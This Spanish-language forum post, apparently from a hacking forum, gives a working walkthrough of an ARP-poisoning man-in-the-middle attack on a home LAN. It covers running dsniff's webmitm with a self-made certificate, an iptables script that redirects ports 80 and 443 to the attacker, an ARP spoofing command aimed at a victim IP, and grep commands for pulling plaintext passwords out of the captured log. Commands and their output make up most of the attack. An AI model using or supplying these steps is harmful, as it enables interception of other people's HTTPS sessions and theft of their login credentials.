Que estés virtualizando no debería ser un problema... Podrías usar el wireshark u otro sniffer y capturar sólo las peticiones ARP y ver que está pasando. Prueba con este script que acabo de postear:
http://www.hackxcrack.es/forum/index.php?topic=9652.0Por otro lado, con el tema de los puertos creo que te estás confundiendo o no estoy entendiendo bien lo que decis... El puerto aleatorio lo elige el Sistema Operativo y es el puerto de origen, no el de destino. HTTP siempre funciona (por default) con puerto de destino 80.
Si lo que quieres es hacer lo mismo de la revista pero en una red donde no se use proxy para salir a internet (una LAN casera por ejemplo) eso se puede hacer con webmitm (de la suite dsniff). NO estoy seguro si con el Paros se pueda hacer algo similar...
Lo que te voy a decir lo acabo de probar y funciona :-). Las IPs son:
Mi IP (atacante): 192.168.1.3
Víctima: 192.168.1.2
Router: 192.168.1.1
1) Primero pones en marcha el webmitm (sudo apt-get install dsniff), pones los datos para el certificado, etc... Eso te debería crear un archivo webmitm.crt en el directorio local.
El siguiente comando va a guardar todo el tráfico en el archivo <log.webmitm>.
$ sudo webmitm -ddd 2>&1 | tee log.webmitm
[sudo] password for larry:
Generating RSA private key, 1024 bit long modulus
.++++++
.....++++++
e is 65537 (0x10001)
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:AR
State or Province Name (full name) [Some-State]:HxC
Locality Name (eg, city) []:Hxc
Organization Name (eg, company) [Internet Widgits Pty Ltd]:HxC
Organizational Unit Name (eg, section) []:
Common Name (eg, YOUR name) []:
Email Address []:
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
Signature ok
subject=/C=AR/ST=HxC/L=Hxc/O=HxC
Getting Private key
webmitm: certificate generated
webmitm: relaying transparently
Esto dejalo andando en una consola aparte y no lo cierres. Si ahora te escaneas los puertos, vas a ver que tenés el 80 y el 443 abiertos, que es el webmitm...
$ nmap 192.168.1.3
Starting Nmap 5.21 ( http://nmap.org ) at 2012-02-20 14:18 WARST
Nmap scan report for LARRY-Qosmio (192.168.1.3)
Host is up (0.00034s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http <<<<------
111/tcp open rpcbind
443/tcp open https <<<<------
Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds
2) Creas un script de iptables con los siguientes comandos, y lo ejecutas (como root o con sudo).
#/bin/bash
IFACE="wlan0"
echo 1 > /proc/sys/net/ipv4/ip_forward
echo 0 > /proc/sys/net/ipv4/conf/$IFACE/send_redirects
iptables --flush
iptables --zero
iptables --delete-chain
iptables -F -t nat
iptables --append FORWARD --in-interface $IFACE --jump ACCEPT
iptables --table nat --append POSTROUTING --out-interface $IFACE --jump MASQUERADE
SERVERWEB='192.168.1.3'
iptables -t nat -A PREROUTING -p tcp --dport 80 --jump DNAT --to-destination $SERVERWEB
iptables -t nat -A PREROUTING -p tcp --dport 443 --jump DNAT --to-destination $SERVERWEB
Lo que estás haciendo es mandar todo el tráfico que llega a tu máquina a los puertos 80 y 443 (donde escucha el webmitm) que es un proxy.
3) Empezas a hacer ARPPoison, por ejemplo con el script que posteé acá:
http://www.hackxcrack.es/forum/index.php?topic=9652.0 o con cualquier otro programa que te guste.
$ sudo ./arp_poison.py -t 192.168.1.1 -v 192.168.1.2 -i wlan0
WARNING: No route found for IPv6 destination :: (no default route?)
TARGET: IP = 192.168.1.1 MAC = 00:02:cf:*:*:*
VICTIM: IP =192.168.1.2 MAC = 00:22:69:*:*:*
Enviando RESPUESTAS ARP falsas...
Una vez que hiciste estas tres cosas, todo el tráfico que van a los puertos 80 y 443 que salen de 192.168.1.2 se van a conectar directamente al webmitm que está andando en tu máquina. Luego, el webmitm se va a encargar de conectarse a los hosts correspondientes (es un hombre-en-el-medio WEB, por eso el nombre, webmitm :-p) incluyendo las conexiones seguras (por eso el certificado).
4) Cuando 192.168.1.2 empieza a navegar y entre a una página con conexión segura, probablemente obtenga el famoso error de certificado no válido. Si aún viendo eso continúa con la conexión su nombre de usuario y contraseñas vas a quedar guardadas en TEXTO PLANO en el archivo log.webmitm.
La forma en que queda guardado el password y logname va a depender de la página a la cual 192.168.1.2 se conecte. No es lo mismo si va a facebook a gmail o a otra web. Por lo tanto, yo abriría el archivo log.webname con el "vim" y buscaría strings como "pass", "login", "secret", "key", etc. O si sabes el nombre de usuario del que quieres saber la contraseña mejor :-).
Como muchos caracteres que quedan guardados no son ascii, muchos editores van a "pensar" que el archivo es un binario y capaz no lo abran correctamente (el vim si lo abre correctamente). También se puede filtrar strings con el "grep" pero usando la opción "-a". Por ejemplo,
$ cat log.webmitm | grep -a "pass="
Analizar ese archivo no es tan amigable como usar el Paros, pero bueno... Es lo que hay!
Saludos.